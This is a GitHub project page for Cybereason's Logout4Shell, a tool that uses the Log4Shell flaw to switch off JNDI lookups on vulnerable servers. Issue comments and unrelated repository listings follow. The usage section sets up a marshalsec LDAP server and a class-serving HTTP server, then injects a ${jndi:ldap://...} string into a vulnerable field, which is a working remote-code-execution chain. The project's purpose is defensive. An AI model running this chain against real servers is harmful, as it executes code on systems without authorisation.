Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell

Overview

Logout4Shell

logo

Description

A vulnerability impacting Apache Log4j versions 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021. The flaw has been dubbed “Log4Shell,”, and has the highest possible severity rating of 10. Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw. The Log4Shell vulnerability CVE-2021-44228 was published on 12/9/2021 and allows remote code execution on vulnerable servers.

While the best mitigation against these vulnerabilities is to patch log4j to 2.15.02.17.0 and above, in Log4j version (>=2.10) this behavior can be partially mitigated (see below) by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath.

On 12/14/2021 the Apache software foundation disclosed CVE-2021-45046 which was patched in log4j version 2.16.0. This vulnerability showed that in certain scenarios, for example, where attackers can control a thread-context variable that gets logged, even the flag log4j2.formatMsgNoLookups is insufficient to mitigate log4shell. An additional CVE, less severe, CVE-2021-45105 was discovered. This vulnerability exposes the server to an infinite recursion that could crash the server is some scenarios. It is recommened to upgrade to 2.17.0

However, enabling these system property requires access to the vulnerable servers as well as a restart. The Cybereason research team has developed the following code that exploits the same vulnerability and the payload therein sets the vulnerable setting as disabled. The payload then searches for all LoggerContext and removes the JNDI Interpolator preventing even recursive abuses. this effectively blocks any further attempt to exploit Log4Shell on this server.

This Proof of Concept is based on @tangxiaofeng7's tangxiaofeng7/apache-log4j-poc

However, this project attempts to fix the vulnerability by using the bug against itself. You can learn more about Cybereason's "vaccine" approach to the Apache Log4Shell vulnerability (CVE-2021-44228) on our website.

Learn more: Cybereason Releases Vaccine to Prevent Exploitation of Apache Log4Shell Vulnerability (CVE-2021-44228)

Supported versions

Logout4Shell supports log4j version 2.0 - 2.14.1

How it works

On versions (>= 2.10.0) of log4j that support the configuration FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS, this value is set to True disabling the lookup mechanism entirely. As disclosed in CVE-2021-45046, setting this flag is insufficient, therefore the payload searches all existing LoggerContexts and removes the JNDI key from the Interpolator used to process ${} fields. This means that even other recursive uses of the JNDI mechanisms will fail. Then, the log4j jarfile will be remade and patched. The patch is included in this git repository, however it is not needed in the final build because the real patch is included in the payload as Base64.

In persistence mode (see below), the payload additionally attempts to locate the log4j-core.jar, remove the JndILookup class, and modify the PluginCache to completely remove the JNDI plugin. Upon subsequent JVM restarts the JndiLookup class cannot be found and log4j will not support for JNDI

Transient vs Persistent mode

This package generates two flavors of the payload - Transient and Persistent. In Transient mode, the payload modifies the current running JVM. The payload is very delicate to just touch the logger context and configuration. We thus believe the risk of using the Transient mode are very low on production environments.

Persistent mode performs all the changes of the Transient mode and in addition searches for the jar from which log4j loads the JndiLookup class. It then attempts to modify this jar by removing the JndiLookup class as well as modifying the plugin registry. There is inherently more risk in this approach as if the log4j-core.jar becomes corrupted, the JVM may crash on start.

The choice of which mode to use is selected by the URL given in step 2.3 below. The class Log4jRCETransient selects the Transient Mode and the class Log4jRCEPersistent selects the persistent mode

Persistent mode is based on the work of TudbuT. Thank you!

How to use

  1. Download this repository and build it

    1.1 git clone https://github.com/cybereason/Logout4Shell.git

    1.2 build it - mvn package

    1.3 cd target/classes

    1.4 run the webserver - python3 -m http.server 8888

  2. Download, build and run Marshalsec's ldap server

    2.1 git clone https://github.com/mbechler/marshalsec.git

    2.2 mvn package -DskipTests

    2.3 cd target

    2.4 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP_OF_PYTHON_SERVER_FROM_STEP_1>:8888/#Log4jRCE<Transient/Persistent>"

  3. To immunize a server

    3.1 enter ${jndi:ldap://<IP_OF_LDAP_SERVER_FROM_STEP_2>:1389/a} into a vulnerable field (such as user name)

DISCLAIMER:

The code described in this advisory (the “Code”) is provided on an “as is” and “as available” basis may contain bugs, errors and other defects. You are advised to safeguard important data and to use caution. By using this Code, you agree that Cybereason shall have no liability to you for any claims in connection with the Code. Cybereason disclaims any liability for any direct, indirect, incidental, punitive, exemplary, special or consequential damages, even if Cybereason or its related parties are advised of the possibility of such damages. Cybereason undertakes no duty to update the Code or this advisory.

License

The source code for the site is licensed under the MIT license, which you can find in the LICENSE file.

Comments
  • Will not patch versions of log4j2 older than 2.10

    Will not patch versions of log4j2 older than 2.10

    Hi,

    The property you are using to disable lookups does not exist for versions older than 2.10: https://issues.apache.org/jira/browse/LOG4J2-2109

    You should look for other alternatives like clearing the strLookupMap map (or at least, remove the jndi entry): https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L56

    This map has had other names, in 2.0 it was there, but named lookups: https://github.com/apache/logging-log4j2/blob/log4j-2.0/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L39

    opened by alvdavi 3
  • Misleading

    Misleading "Apache is pervasive" text in README?

    Hi there!

    Your README currently says:

    Apache is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw.

    This sounds like it is talking about the Apache HTTP Server. That's a native-code web server program. The vulnerability here is in Apache Log4J, a logging library for Java. These projects are basically unrelated, aside from both being managed under the auspices of the Apache Software Foundation. Log4J is also pervasively used, but for different reasons.

    Perhaps this text could be revised?

    opened by apjanke 3
  • Permanent fixing

    Permanent fixing

    Permanent fixing maybe possible by checking version then rewriting the log4j jar with either forcing disable lookups or killing strlookup or something.

    The issue may be some av who check if something is rewriting something it shouldn't be or things checked against checksums. (If these happen I don't particularly know enterprise security for programs and things).

    Maybe provide permanent vaccine as an separate file? If file change fails only do temp vaccine?

    Maybe make vaccine log more to show maintainers of the affected program that it has been used.

    opened by S10MC2015 2
  • Consider contributing upstream to log4j

    Consider contributing upstream to log4j

    Thanks for the mitigation, it is very helpful to defend immediately while the slow cogs of open source turns, segue; to be a basic open source contributor it is expected to actually contribute upstream for the benefit of all

    Not doing so is not in the spirit of open source

    I see no one (yet) has done so; https://github.com/apache/log4j/pulls?q=is%3Apr+CVE-2021-44228

    Perhaps it is being done elsewhere?

    opened by chrisdlangton 2
  • Call out transient nature of fix; changes lost on JVM restart

    Call out transient nature of fix; changes lost on JVM restart

    Won't an "immunized" server lose this fix on JVM restart? If so, this should be called out loudly and early in the README to avoid giving folks a false sense of security.

    opened by dcaslin 2
  • Could not find or load main class marshalsec.jndi.LDAPRefServer

    Could not find or load main class marshalsec.jndi.LDAPRefServer

    I tried doing step two and this happened

    Error: Could not find or load main class marshalsec.jndi.LDAPRefServer
    Caused by: java.lang.ClassNotFoundException: marshalsec.jndi.LDAPRefServer
    

    How to fix it?

    opened by Saadat01 1
  • Java classfile HTTP server not being queried for payload classes

    Java classfile HTTP server not being queried for payload classes

    I was testing this demo and I noticed that the HTTP server responsible for providing the payload class file never receives a request for the class file, despite the LDAPRefServer responses pointing to the HTTP server.

    The JNDI server is run with java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCETransient". The HTTP server is run with `python -m http.server -b 127.0.0.1 --directory ../Logout4Shell/target/classes 8888

    Running the demo vulnrable program with java -cp /usr/share/java/log4j/log4j-core.jar:/usr/share/java/log4j/log4j-api.jar:target/classes/ Log4j outputs

    Setting FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS value to True
    WARNING: An illegal reflective access operation has occurred
    WARNING: Illegal reflective access by Log4jRCETransient (file:/home/schuyler/development/log4jgay/Logout4Shell/target/classes/) to field java.lang.reflect.Field.modifiers
    WARNING: Please consider reporting this to the maintainers of Log4jRCETransient
    WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
    WARNING: All illegal access operations will be denied in a future release
    Lookup is an Interpolator - attempting to remove JNDI
    22:37:01.712 [main] ERROR Log4j - ${jndi:ldap://127.0.0.1:1389/a}
    22:37:01.764 [main] ERROR Log4j - ${jndi:ldap://127.0.0.1:1389/a}
    

    Checking the LDAP server logs indicates that the vaccination did work as the LDAP server only sees one request.


    Upon further investigation, it appears that the payload is running from the classpath, and not from the HTTP server. Copying Log4j.class to a different directory from target/classes/ and running it results in the payload not executing and no HTTP requests made to the server. cp target/classes/Log4j.class . && java -cp /usr/share/java/log4j/log4j-core.jar:/usr/share/java/log4j/log4j-api.jar:. Log4j results in

    22:37:12.055 [main] ERROR Log4j - Reference Class Name: foo
    22:37:12.093 [main] ERROR Log4j - Reference Class Name: foo
    

    The LDAP server logs also show that two LDAP requests were made, which is not the expected result and implies that vaccination did not occur.

    opened by docprofsky 1
  • Help with a project

    Help with a project

    Hello,

    I am in grade 10 and am working on a project. I have to document the whole process and interview a few professionals. I was wondering if you were willing to answer some questions (which will be super easy) over email. I hope you understand!

    Thank you!

    opened by OnkarGarg 1
  • Typo in the How to use section

    Typo in the How to use section

    Hello!

    There is a trivial typo at https://github.com/Cybereason/Logout4Shell/blob/ddf83d3a35e203aa9738b185f7b6921814bd7b12/README.md?plain=1#L34: git clone https://github.com/cybereason/Logout4Shell.ssh should be: git clone https://github.com/cybereason/Logout4Shell.git

    Great works & Best Regards,

    opened by Nioub 0
  • Misleading reasoning in README

    Misleading reasoning in README

    README says:

    Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw.

    I do not see the point of this sentence. Using httpd from Apache has nothing to do with log4j, neither has commons-io. It's easy for a reader to conclude that all Apache software is bad. Did you intend this implication?

    Furthermore, just because 33 % of the servers are using software from the Apache Software Foundation doesn't make all of these servers vulnerable to log4shell.

    opened by jbrillig 0
Owner
Cybereason
Cybereason
Protect your Spigot server against IP forwarding exploits, as well as blocking unknown BungeeCord and/or Velocity proxies.

Sentey Protect your Spigot server against IP forwarding exploits, as well as blocking unknown BungeeCord and/or Velocity proxies. But firewalls are a

ComuGamers Network 18 Dec 28, 2022
Docker-compose-integration-tstst - An exploration of how to run integration tests against an application that has inconvenient external dependencies (e.g. a SQL database).

Tstst? it was supposed to be docker-compose-integration-tests but i was too lazy to fix it at the outset, and now im trying to convince myself its fun

null 1 Jan 4, 2022
Battle Against Your Viewers!

StreamerVSChat StreamerVSChat is a open source project that allows you to play against your followers/subscribers. The plugin contains over 30 command

CorwinDev 7 Dec 20, 2022
Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability CVE-2021-22053

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability Severity High Vendor Spring by VMware Description Application

SCSL 38 Dec 16, 2022
This project will help to test the Log4j CVE-2021-44228 vulnerability.

Log4j-JNDIServer This project will help to test the Log4j CVE-2021-44228/CVE-2021-45046 vulnerabilities. Installation and Building Load the project on

Immunity, Inc 9 Jun 30, 2022
BinAbsInspector: Vulnerability Scanner for Binaries

What is BinAbsInspector? BinAbsInspector (Binary Abstract Inspector) is a static analyzer for automated reverse engineering and scanning vulnerabiliti

null 1.3k Jan 4, 2023
The project is a simple vulnerability Demo environment written by SpringBoot

The project is a simple vulnerability Demo environment written by SpringBoot. Here, I deliberately wrote a vulnerability environment where there are arbitrary file uploads, and then use the `scan` attribute in the loghack configuration file to cooperate with the logback vulnerability to implement RCE.

Panda 76 Dec 14, 2022
Vulnerability CVE-2021-44228 checker

CVE-2021-44228 checker This is the repository for checking for vulnerability CVE-2021-44228. This is a PoC that only displays strings without any exte

Yasuhiro Yamada 36 Nov 9, 2022
F5 BIG-IP iControl REST vulnerability RCE exploit with Java including a testing LAB

CVE-2022-1388 F5 BIG-IP iControl REST vulnerability RCE exploit with Java and ELF. Included Scan a single target Scan many targets Exploit with a shel

Zer0verflow 10 Sep 24, 2022
Non intrusive log4j2 RCE vulnerability patch.

Log4j Patch Resolve the RCE vulnerability caused by JNDI lookup in log4j 2.0~2.14.1. It is licensed under the WTFPL 2.0 license, you can do anything w

Glavo 67 Dec 2, 2022
Deploys an agent to fix CVE-2021-44228 (Log4j RCE vulnerability) in a running JVM process

-- This repository has been archived -- Further development of this tool will continue at corretto/hotpatch-for-apache-log4j2. Thanks for sharing, com

Volker Simonis 108 Dec 23, 2021
💡极致性能的企业级Java服务器框架,RPC,游戏服务器框架,web应用服务器框架。(Extreme fast enterprise Java server framework, can be RPC, game server framework, web server framework.)

?? 为性能而生的万能服务器框架 ?? Ⅰ. zfoo简介 ?? 性能炸裂,天生异步,Actor设计思想,无锁化设计,基于Spring的MVC式用法的万能RPC框架 极致序列化,原生集成的目前二进制序列化和反序列化速度最快的 zfoo protocol 作为网络通讯协议 高可拓展性,单台服务器部署,

null 1k Jan 1, 2023
A distributed lock that supports the use of Redis and Zookeeper, out of the box, fast and easy to use

lock-spring-boot-starter A distributed lock that supports the use of Redis and Zookeeper, out of the box, fast and easy to use 一款基于 Redis 和 Zookeeper

Pear Stack 9 Oct 15, 2022
log4j2 Log4Shell CVE-2021-44228 proof of concept

Log4Shell CVE-2021-44228 proof of concept Requirement Java (JDK/JRE) 8 or later version curl exploitable Simple spring boot application that serves a

Seshu Pasam 2 Dec 21, 2021
Log4shell docker lab using christophetd's vulnerable app and mbechler's marshalsec

log4shell-dockerlab Credits All credits goes to the original authors. I just git-cloned and created a docker-compose file, that's all. LunaSec - log4s

ChoI 7 Nov 17, 2022
Test case to check if the Log4Shell/CVE-2021-44228 hotfix will raise any unexpected exceptions

Log4Shell Hotfix Side Effect Test Case I wanted to know if any ClassNotFoundException or similar unexpected exception is raised when one applies the C

Malte S. Stretz 3 Nov 9, 2022
Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nickname

Christophe Tafani-Dereeper 1k Jan 5, 2023
SlimeVR-Server - Server app for SlimeVR ecosystem

SlimeVR Server Server app for SlimeVR ecosystem Server orchestrates communication between multiple sensors and integrations, like SteamVR. Sensors imp

null 362 Dec 31, 2022
Spring-Boot-Plus is a easy-to-use, high-speed, high-efficient,feature-rich, open source spring boot scaffolding

Everyone can develop projects independently, quickly and efficiently! What is spring-boot-plus? A easy-to-use, high-speed, high-efficient, feature-ric

geekidea 2.3k Dec 31, 2022